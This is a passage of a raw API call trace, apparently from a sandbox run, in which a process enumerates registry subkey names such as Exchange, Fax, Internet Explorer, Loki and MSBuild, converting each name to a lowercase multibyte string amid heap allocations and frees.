dwIndex=0x1f, lpName=0x115b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x115c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x115b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x115c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x115b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x115c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x115b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x115b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x115c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.071] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x115b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0169.071] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x115c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x115b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x115c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x115b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x115b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x115c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.072] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x115b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.072] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x115b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x115c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x115b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x115c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x115b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x115c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.073] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x115b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.073] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x115c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x115b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x115c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x115b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x115c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x115b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x115c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.074] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x115b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0169.074] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x115c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0169.075] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.075] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.075] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.075] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x115b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0169.075] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.075] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x115c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0169.075] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.075] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.075] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.075] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x115b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0169.075] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.075] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x115c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x115b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x115b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x115b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x115b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x115b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x115b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x115b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0169.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x115b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x115b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x115b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x115b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x115b930, cchName=0x104 | out: lpName="MSF") returned 0x0 